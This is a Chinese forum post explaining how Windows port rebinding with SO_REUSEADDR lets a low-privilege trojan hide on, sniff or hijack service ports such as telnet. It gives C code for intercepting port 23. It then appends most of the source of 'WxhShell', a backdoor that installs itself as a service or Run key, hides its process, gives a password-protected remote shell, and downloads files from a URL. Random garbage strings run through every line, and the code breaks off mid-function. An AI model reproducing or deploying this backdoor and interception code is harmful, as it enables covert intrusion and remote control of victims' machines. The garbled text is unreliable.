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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1 Ne;U/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U/Cc!WXV]  
LDegJer-v  
  saddr.sin_family = AF_INET; o"qxR'V  
O=K0KOj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \>\ERVEd  
z&9ljQ iF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s58dHnj5+  
hrX/,D -c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j~b NH~3  
` { Ox=+]M  
  这意味着什么?意味着可以进行如下的攻击:  c{kpg N  
LTf)`SN %'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <mJ8~  
ea{zL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {JdXn  
P:Q&lnC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q"269W:  
wKJ|;o4;L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #+<YFm\i  
# ,H!<X;SS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A pzC  
JV,h1/a("  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5ms]Wbh)  
fNda&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [kkhVi5;A  
X+{brvM<  
  #include SP<(24zdd  
  #include ; P<h 9(  
  #include K:13t|  
  #include    I@qGDKz;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I\Y N!  
  int main() XlXt,  
  { ZG+FX:v  
  WORD wVersionRequested; 83]m/Iz  
  DWORD ret; e)s l  
  WSADATA wsaData; By9CliOy:  
  BOOL val; "([gN:   
  SOCKADDR_IN saddr; e1b?TF@lz  
  SOCKADDR_IN scaddr; P( -   
  int err; *" OlO}o  
  SOCKET s; o/&K>]8M  
  SOCKET sc; G]$EIf'  
  int caddsize; \HrtPm`e  
  HANDLE mt; : &nF>  
  DWORD tid;   iD cYyNE  
  wVersionRequested = MAKEWORD( 2, 2 ); "J*>g(H53  
  err = WSAStartup( wVersionRequested, &wsaData ); Af@\g-<W_  
  if ( err != 0 ) { p7{H "AC  
  printf("error!WSAStartup failed!\n"); 0)zJG |  
  return -1; <H#0pFB  
  } uF[*@N  
  saddr.sin_family = AF_INET; Xe:rPxZf~  
   V$FZVG/@#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NB44GP1-@  
+BO kHXk1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -awG1 4%  
  saddr.sin_port = htons(23); pyX:$j2R+%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B[h^]k  
  { unqUs08  
  printf("error!socket failed!\n"); -ON-0L  
  return -1; i`<L#6RBT  
  } *:+ZEFMq  
  val = TRUE; _u;pD-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R'vNJDFY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !?).4yr  
  { [+l6x1Am  
  printf("error!setsockopt failed!\n"); j(k%w  
  return -1; Jqgm>\y  
  } 0;)Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; - q(a~Ge  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }/\`'LQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \ntUxPox.  
[n&ES\o#(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2wPc yD  
  { \M|:EG%  
  ret=GetLastError(); G; exH$y  
  printf("error!bind failed!\n"); *"Iz)Xzc`  
  return -1; D vU1+ y  
  } hbr3.<o1lY  
  listen(s,2); V )UtU L  
  while(1) Zv@ Fr9m  
  { N5`z S79W  
  caddsize = sizeof(scaddr); ? F!c"+C  
  //接受连接请求 &w`DF,k|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q {~$7J  
  if(sc!=INVALID_SOCKET) ZNDi;6e  
  { m]}U!XT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;/pI@C k  
  if(mt==NULL) VpB)5>  
  { f8WI@]1F  
  printf("Thread Creat Failed!\n"); sSwY!";  
  break; X<$DNRN  
  } mN.[bz  
  }  Pw +nO  
  CloseHandle(mt); ?EHheZ{  
  } SYf1dbc..u  
  closesocket(s); 3` oOoKX  
  WSACleanup(); >!lpI5'Z&  
  return 0; E`@Z9k1 `  
  }   gs/ocu  
  DWORD WINAPI ClientThread(LPVOID lpParam) z$d<ep{6  
  { \o72VHG66  
  SOCKET ss = (SOCKET)lpParam; -&]!ig5v  
  SOCKET sc; l\Ww^   
  unsigned char buf[4096]; D:IG;Rsc  
  SOCKADDR_IN saddr; M=&,+#z<V  
  long num; /J!:_Nq  
  DWORD val; KZ#\ >  
  DWORD ret; QS\wtTXj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P zM yUv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <HN{.p{  
  saddr.sin_family = AF_INET; olL? 6)gC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1ZRkVHiz0  
  saddr.sin_port = htons(23); q &{<HcP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X's<+hK&  
  { .oLV\'HAR  
  printf("error!socket failed!\n"); W[j, QU  
  return -1; Uey'c1  
  } gJ9"$fIPc  
  val = 100; Y.tT#J^=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zA.0Sm  
  { 53a^9  
  ret = GetLastError(); j!%^6Io4  
  return -1; ^Mc9MZ)  
  } |</)6r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (C).Vj~  
  { Ar,n=obG  
  ret = GetLastError(); ,p(&G_  
  return -1; Ks6\lpr  
  } /Yg&:@L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S++~w9}  
  { Yc_(g0NK  
  printf("error!socket connect failed!\n"); H=f| X<8  
  closesocket(sc); ]b sabS?  
  closesocket(ss); M3|G^q:l  
  return -1; dkCU U  
  } 5E~^-wX  
  while(1) Xxd]j]  
  { @@{5]Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o59$v X,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XG C\6?L~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vDi Opd  
  num = recv(ss,buf,4096,0); <Up ?w/9  
  if(num>0) kmt1vV.9  
  send(sc,buf,num,0); bJD$!*r\%!  
  else if(num==0) ysp`(n=  
  break; NsM`kZM4H  
  num = recv(sc,buf,4096,0); b l+g7g;  
  if(num>0) +`{OOp=  
  send(ss,buf,num,0); q}VdPt>X/  
  else if(num==0) Ov?J"B'F  
  break; IOuqC.RJ}o  
  } |K-`  
  closesocket(ss); YC56] Zp  
  closesocket(sc); xz5A[)N  
  return 0 ; oo7}Hg>  
  } xY!ud)  
PcU~1m1  
xb9+-{<J  
========================================================== S 593wfc  
g; ] '  
下边附上一个代码,,WXhSHELL PRTjXq6)5  
324XoMO  
========================================================== &g^*ep~|#  
ty pbwfM]  
#include "stdafx.h" >X05f#c"v/  
p e+h8  
#include <stdio.h> GbL1<P$V  
#include <string.h> 9jEH"`qqk  
#include <windows.h> L*A-&9.p3  
#include <winsock2.h> $$&.}}.,  
#include <winsvc.h> }b&S3?ONt  
#include <urlmon.h> -,p=;t#(  
ZcyGLg0I  
#pragma comment (lib, "Ws2_32.lib") 7>F{.\Z  
#pragma comment (lib, "urlmon.lib") +>vKI8g*RH  
* zyik[o  
#define MAX_USER   100 // 最大客户端连接数 )hj:Xpj9#  
#define BUF_SOCK   200 // sock buffer 6:Z8d%Z  
#define KEY_BUFF   255 // 输入 buffer tLfhW1"  
Cgh84 2%  
#define REBOOT     0   // 重启 NE8W--Cg|  
#define SHUTDOWN   1   // 关机 tB,(12@W  
 sTlel&  
#define DEF_PORT   5000 // 监听端口 ja';NIO-  
Uza '%R  
#define REG_LEN     16   // 注册表键长度 :Z6j5V;s  
#define SVC_LEN     80   // NT服务名长度 TSsZzsdr2  
%KT}Map  
// 从dll定义API @CL#B98jl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1H/I-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'EAskA] *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kmx^\vDs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U{hu7  
8SKrpwy  
// wxhshell配置信息 ~S\L(B(  
struct WSCFG { Xzf,S;XV~  
  int ws_port;         // 监听端口 jj2\;b:a0  
  char ws_passstr[REG_LEN]; // 口令 ;' uQBx}  
  int ws_autoins;       // 安装标记, 1=yes 0=no %sr- xE  
  char ws_regname[REG_LEN]; // 注册表键名 P%(9`A  
  char ws_svcname[REG_LEN]; // 服务名 IyyBW2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o5F:U4sG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `**{a/3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <c pck  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tULGfvp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bP 9ly9FH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @3O)#r}\  
`!HD. E[2c  
}; "Nj/{BU  
4r1\&sI$~  
// default Wxhshell configuration &o;0%QgF  
struct WSCFG wscfg={DEF_PORT, f;zNNx< ;  
    "xuhuanlingzhe", m3lz#Pm'0  
    1, .=#j dc/  
    "Wxhshell", CG=c@-"n/  
    "Wxhshell", K\F0nToJ.  
            "WxhShell Service", L4g%o9G  
    "Wrsky Windows CmdShell Service", )P:^A9&_n=  
    "Please Input Your Password: ", IFX$\+-  
  1, cZ?QI6|[  
  "http://www.wrsky.com/wxhshell.exe", d-UeItyW*  
  "Wxhshell.exe" Kg$RT?q-C6  
    }; $El-pMq  
#lLUBJ#:  
// 消息定义模块 cu0IFNF}[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =79R;|5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P6 OnE18n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0d9z8y  
char *msg_ws_ext="\n\rExit."; -Qn7+?P  
char *msg_ws_end="\n\rQuit."; ]19VEH  
char *msg_ws_boot="\n\rReboot..."; 2L^)k?9>g+  
char *msg_ws_poff="\n\rShutdown..."; @ivd|*?k0  
char *msg_ws_down="\n\rSave to "; L9 D`hefz  
d7X&3L%Oq  
char *msg_ws_err="\n\rErr!"; K}R+~<bIY  
char *msg_ws_ok="\n\rOK!"; p%"dYH%]&0  
x.?5-3|d$  
char ExeFile[MAX_PATH]; ,JV0ib,  
int nUser = 0; 5XZ! yYB?  
HANDLE handles[MAX_USER]; @%R<3!3v  
int OsIsNt; '+cI W(F?  
y~ =H`PAE  
SERVICE_STATUS       serviceStatus; `um,S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^hC'\09=c  
2nd n8_l  
// 函数声明 kW g.-$pp  
int Install(void); (8JU!lin  
int Uninstall(void); 5G* cAlU  
int DownloadFile(char *sURL, SOCKET wsh); } p'ZMj&  
int Boot(int flag); ;hX(/T  
void HideProc(void); }Q/onB t  
int GetOsVer(void); fSuykbZ  
int Wxhshell(SOCKET wsl); @Iv;y*y  
void TalkWithClient(void *cs); fe?Z33V  
int CmdShell(SOCKET sock); RP&bb{Y  
int StartFromService(void); l]R0r{{  
int StartWxhshell(LPSTR lpCmdLine); ;<AcW.jx  
Ic#xz;elM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JQ&t"`\k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]J@65~'b  
*x"80UXL  
// 数据结构和表定义 ;Ba%aaHl  
SERVICE_TABLE_ENTRY DispatchTable[] = LwH#|8F  
{ rVYoxXv  
{wscfg.ws_svcname, NTServiceMain}, >1~ /:DJ  
{NULL, NULL} wSTul o:9  
}; TC\+>LXiZ  
0mY Y:?v  
// 自我安装 .V?:&_}_I6  
int Install(void) g7*)|FOb  
{ yw3"jdcl  
  char svExeFile[MAX_PATH]; a:h<M^n049  
  HKEY key; cj/`m$  
  strcpy(svExeFile,ExeFile); 7;"0:eX  
11[lc2  
// 如果是win9x系统,修改注册表设为自启动 }{o !  
if(!OsIsNt) { gb ga"WO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 200yN+ec  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~U9K<_U  
  RegCloseKey(key); 'ZfgCu)St  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ey46JO"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c3A\~tHW  
  RegCloseKey(key); }htjT/Nm  
  return 0; dj0; tQ=C  
    } tMIYVHGy  
  } ]A#lV$  
} ^:eZpQ [,  
else { ;;Q^/rkC  
)O]T}eI  
// 如果是NT以上系统,安装为系统服务 @;Ttdwg#J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6o 3 bq|  
if (schSCManager!=0) AlSO  
{ 6OES'3Cy  
  SC_HANDLE schService = CreateService '|C3t!H`  
  ( ly[LF1t   
  schSCManager, E$e7(D  
  wscfg.ws_svcname, rH+OXGoB  
  wscfg.ws_svcdisp, 3FEJ 9ZyG  
  SERVICE_ALL_ACCESS, b'H'QY   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RpHlq  
  SERVICE_AUTO_START, }'X=&3m  
  SERVICE_ERROR_NORMAL, &|>+LP@8  
  svExeFile, 24mdhT|  
  NULL, H"C'<(4*\  
  NULL, ]n22+]D  
  NULL, _"DS?`z6  
  NULL, 4`IM[DIG~  
  NULL w2 )Ro:G  
  ); o u|emAV  
  if (schService!=0) DX>a0-Xj  
  { L[` l80  
  CloseServiceHandle(schService); s[1ao"sZ^  
  CloseServiceHandle(schSCManager); lo1Ui`V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]rmBM  
  strcat(svExeFile,wscfg.ws_svcname); 5\-uo&#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \U~4b_aN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S:\i M:  
  RegCloseKey(key); )xGAe#E~j  
  return 0; [M_{~1xX  
    } h6 \P&Z  
  } <#63tN9  
  CloseServiceHandle(schSCManager); THA9OXP  
} #x%'U}sF  
} 90}{4&C.^  
QFyL2Xes/  
return 1; mCtS_"W  
} YdY-Jg Xm  
)&DAbB!O  
// 自我卸载 l.[pnLD  
int Uninstall(void) c PGlT"  
{ kmuksT\)a  
  HKEY key; XX;4A  
"q4tvcK.  
if(!OsIsNt) { B{-7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D7ex{SVA)  
  RegDeleteValue(key,wscfg.ws_regname); $6QIYF""  
  RegCloseKey(key); _B4&Fb.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GN.O a$  
  RegDeleteValue(key,wscfg.ws_regname); X>%nzY]m  
  RegCloseKey(key); 3P>gDQP  
  return 0; _`$LdqgE  
  }  )vr@:PE  
} j)1yv.  
} @u3`lhUcT  
else { ^6 6!f 5^W  
H^_,e= j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N!A20Bv  
if (schSCManager!=0) tiK?VwaKI  
{  s>rR\`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 23zX6  
  if (schService!=0) ^\)a[OWp  
  { WKf<% E$  
  if(DeleteService(schService)!=0) { k#*-<1  
  CloseServiceHandle(schService); `S&a.k  
  CloseServiceHandle(schSCManager); 'X~tt#T  
  return 0; fSh5u/F!  
  } w7nt $L5  
  CloseServiceHandle(schService); #XV=,81w  
  } Er~17$b  
  CloseServiceHandle(schSCManager); C \ Cc[v  
} e_BG%+;G,  
} Vla,avON  
IS C.~q2  
return 1; B.<SC  
} a(Y'C`x  
*2X6;~  
// 从指定url下载文件 ~/:vr  
int DownloadFile(char *sURL, SOCKET wsh) h@)U,&  
{ KuNLu31%  
  HRESULT hr; WSThhI  
char seps[]= "/"; U%{GLO   
char *token; wI#8|,]"z  
char *file; 7AG|'s['=  
char myURL[MAX_PATH]; ,RP-)j"Wff  
char myFILE[MAX_PATH]; gfk)`>E  
wAMg"ImJ  
strcpy(myURL,sURL); (su,= Z  
  token=strtok(myURL,seps); " T(hcI   
  while(token!=NULL) >nSsbhAe  
  { ~KK 9aV{  
    file=token; -luQbGcT3  
  token=strtok(NULL,seps); ia6 jiW x  
  } Y~~Dg?e  
9#LMK 1ge  
GetCurrentDirectory(MAX_PATH,myFILE); 8(3(kZxS  
strcat(myFILE, "\\"); iT@` dEZ .  
strcat(myFILE, file); >WLPE6E  
  send(wsh,myFILE,strlen(myFILE),0); r)(5,*v  
send(wsh,"...",3,0); P -m_],  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dQut8>0&  
  if(hr==S_OK) '1<Z"InU  
return 0; |5@Ra@0  
else lED!}h'4  
return 1; M 8^ID #  
:\](m64z;  
} LS@TTiN   
s"(RdJ-,  
// 系统电源模块 *k$[/{S1-  
int Boot(int flag) ~cz}C("Z  
{ S :HOlJze  
  HANDLE hToken; :]"5UY?oF  
  TOKEN_PRIVILEGES tkp; OY*y<>  
4^_6~YP7  
  if(OsIsNt) { BU nujC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NW|B|kc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e8a^"Z`a  
    tkp.PrivilegeCount = 1; 6(|mdk`i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J,a&"eOZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ",r v%i2 f  
if(flag==REBOOT) { G  hM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #h!+b  
  return 0; c '|*{%<e2  
} |jsI-?%8J  
else { zcpL[@B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '.}}k!#  
  return 0; w7)pBsI  
} ~Ps*i]n(  
  } G T>'|~e  
  else { <J%qzt}  
if(flag==REBOOT) { E4#{&sRT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QE]@xLz   
  return 0; l;F"m+B!$  
} ZvY"yl?e  
else { ,%i Scr,z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T2{e 1 =Z7  
  return 0; V:0IBbh)w  
} }_Bo:*9B-o  
} wl=tN{R  
o Rfb4+H&  
return 1; ?o<vmIge  
} :J;U~emq  
zzG=!JR  
// win9x进程隐藏模块 yoE-a  
void HideProc(void) --HDEc|  
{ KdNo'*;U]_  
(}#&HE<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b,~'wm8:A  
  if ( hKernel != NULL ) ^} j~:EZb  
  { ODJ"3 J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N=mvr&arP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f/\!=sa:  
    FreeLibrary(hKernel); 8 Ku9;VEk  
  } N'1I6e"  
*0U#Z]t  
return; L F?/60  
} (>`_N%_  
4^(x)r &(?  
// 获取操作系统版本 e9acI>^w  
int GetOsVer(void) 32GI+NN  
{ s>9I#_4]  
  OSVERSIONINFO winfo; Vjs2Yenx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K^{j$  
  GetVersionEx(&winfo); Aez2n(yac  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vuQA-w7  
  return 1; hB?#b`i^  
  else ;NP-tA)  
  return 0; 0jp].''RK\  
} AArLNXzVW  
l&& i`  
// 客户端句柄模块 3h bHS~  
int Wxhshell(SOCKET wsl) >WHajYO"  
{ v}>g* @  
  SOCKET wsh; +=WBH'  
  struct sockaddr_in client; QW..=}pL  
  DWORD myID; k?cX f j&  
o!xCM:+J  
  while(nUser<MAX_USER) oKGH|iVEe  
{ =i~ = |K!  
  int nSize=sizeof(client); @= <{_p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l,n_G/\  
  if(wsh==INVALID_SOCKET) return 1; +:A `e+\  
p{?duq=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fb f&bJT  
if(handles[nUser]==0) Q}#4Qz~n  
  closesocket(wsh); 8%4;'[UV  
else Y58H.P  
  nUser++; 5%'ybh)@   
  } &zn|),  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -=-^rQx9  
sBlq)h;G?6  
  return 0; lh-.I]>&`  
} Vy& X1lG:  
n'rq  
// 关闭 socket ?M90K)&g{  
void CloseIt(SOCKET wsh) +kI}O*s  
{ 6>?qBWW  
closesocket(wsh); qMaO1cE\  
nUser--; hC-uz _/3  
ExitThread(0); hu-]SGb6  
} hl]d99Lc  
Dw=L]i :0v  
// 客户端请求句柄 #kQ! GMZH  
void TalkWithClient(void *cs) TjpyU:R,&|  
{ IO7z}![V;  
'[r:pwE  
  SOCKET wsh=(SOCKET)cs; dX\OP>  
  char pwd[SVC_LEN]; =K@LEZZ'/<  
  char cmd[KEY_BUFF]; gd[muR ~  
char chr[1]; WjBml'^RY  
int i,j; U/c+j{=~  
&4E|c[HN  
  while (nUser < MAX_USER) { <v ub Q4  
\]Y<d  
if(wscfg.ws_passstr) { Tp;W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uNewWtUb(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ErN[maix#  
  //ZeroMemory(pwd,KEY_BUFF); ' !huU   
      i=0; hLfWDf*T|  
  while(i<SVC_LEN) {  2  
I/'>MDB!  
  // 设置超时 !fs ~ >  
  fd_set FdRead; D[W ` q#W  
  struct timeval TimeOut; JKKp5~_~  
  FD_ZERO(&FdRead); \Vv)(/q{  
  FD_SET(wsh,&FdRead); 4=MVn  
  TimeOut.tv_sec=8; '4{@F~fu  
  TimeOut.tv_usec=0; ~vP_c(8f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f*@ :,4@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qX&+  
.0nT*LF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [,&g46x22  
  pwd=chr[0]; aT/2rMKPF  
  if(chr[0]==0xd || chr[0]==0xa) { :qS~"@?<  
  pwd=0; !/`AM<`o  
  break; (muJ-~CJk  
  } '+_-r'2  
  i++; "P.sK huo  
    }  [6@bsXiw  
Sw$&E  
  // 如果是非法用户,关闭 socket [1~3\-Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %B&O+~  
} 4FneP i~i  
bSM|"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {? yRO]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C\rT'!Uk\Q  
ZyDf@(z`  
while(1) { DmoY],9I+p  
VK9E{~0=  
  ZeroMemory(cmd,KEY_BUFF); bO6z;D#  
"-fyX!  
      // 自动支持客户端 telnet标准   e?\Od}Hbw  
  j=0; 0#c-qy  
  while(j<KEY_BUFF) { 1`II%mf[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i Q3wi  
  cmd[j]=chr[0]; K[SzE{5=P  
  if(chr[0]==0xa || chr[0]==0xd) { :z?T /9,C  
  cmd[j]=0; zCq6k7u  
  break; WKr4S<B8mr  
  } L9[m/(:y  
  j++; Yy!G?>hC  
    } =PU@'OG  
wV-N\5!r%H  
  // 下载文件 ?,v@H$)3_  
  if(strstr(cmd,"http://")) { wPyc?:|KD?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ILNghtm-  
  if(DownloadFile(cmd,wsh)) aorL,l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AB!({EIi  
  else T5@t_D>8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +=`w  
  } 4&]NC2I  
  else { GNG.N)q#C  
: Q,O:  
    switch(cmd[0]) { Z(E .F,k  
  yl<=_Q  
  // 帮助 9<Zm}PE32  
  case '?': { VQ~eg wJL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I%?M9y.u6  
    break; Q1h v2*/U  
  } N9c#N%cu  
  // 安装 T~>&m~} +  
  case 'i': { U:/_T>f%  
    if(Install()) b9f5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11J:>A5zt  
    else oOQan  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r|jBKq~  
    break; { F0"U=  
    } <^Q` y  
  // 卸载 EU5(s*A  
  case 'r': { $YBH;^#  
    if(Uninstall()) ieyqp~+|4$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^J?2[(   
    else X bV?=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -r_Pp}s  
    break; =c[mch%E  
    } d[(%5pw~zL  
  // 显示 wxhshell 所在路径 -mZ{.\9  
  case 'p': { 5o|u!#6  
    char svExeFile[MAX_PATH];  GwD"j]  
    strcpy(svExeFile,"\n\r"); 7 dG_E]&  
      strcat(svExeFile,ExeFile); F, 5}3$  
        send(wsh,svExeFile,strlen(svExeFile),0); yErvgf  
    break; KbRKPA`  
    } 6Hpj&Qm  
  // 重启 .Vq_O u  
  case 'b': { $L"-JNS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); piUfvw  
    if(Boot(REBOOT)) Z=?qf$.}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); avv/mEf-f  
    else { /3vj`#jD  
    closesocket(wsh); 4p&SlJ  
    ExitThread(0); Lj3q?>D*^6  
    } b~G|Bhxa  
    break; DB1Y`l  
    } dZbG#4oO  
  // 关机 ]_)=xF19  
  case 'd': { Z Q9's  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l\-(li H  
    if(Boot(SHUTDOWN)) pQxi0/dp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Zicac@N  
